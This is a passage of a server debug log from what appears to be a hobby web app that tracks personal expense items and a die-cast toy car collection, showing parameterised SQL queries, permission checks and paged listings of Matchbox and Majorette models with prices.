  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:06:39.976Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-24T12:06:39.977Z server-connect:output restrict: undefined
2026-02-24T12:06:39.977Z server-connect:app Executing action step select
2026-02-24T12:06:39.977Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:06:39.978Z server-connect:app Executing action step identify
2026-02-24T12:06:39.978Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.978Z server-connect:output identity: 1
2026-02-24T12:06:39.978Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.978Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.979Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-24T12:06:39.980Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-24T12:06:39.981Z server-connect:output restrict: undefined
2026-02-24T12:06:39.981Z server-connect:app Executing action step paged
2026-02-24T12:06:39.981Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-24T12:06:39.983Z server-connect:app Executing action step identify
2026-02-24T12:06:39.983Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:39.983Z server-connect:output identity: 1
2026-02-24T12:06:39.984Z server-connect:app Executing action step restrict
2026-02-24T12:06:39.984Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:39.985Z server-connect:output restrict: undefined
2026-02-24T12:06:39.985Z server-connect:app Executing action step select
2026-02-24T12:06:39.985Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:06:39.988Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-24T12:06:39.988Z server-connect:app Executing action step select
2026-02-24T12:06:39.988Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:06:39.990Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
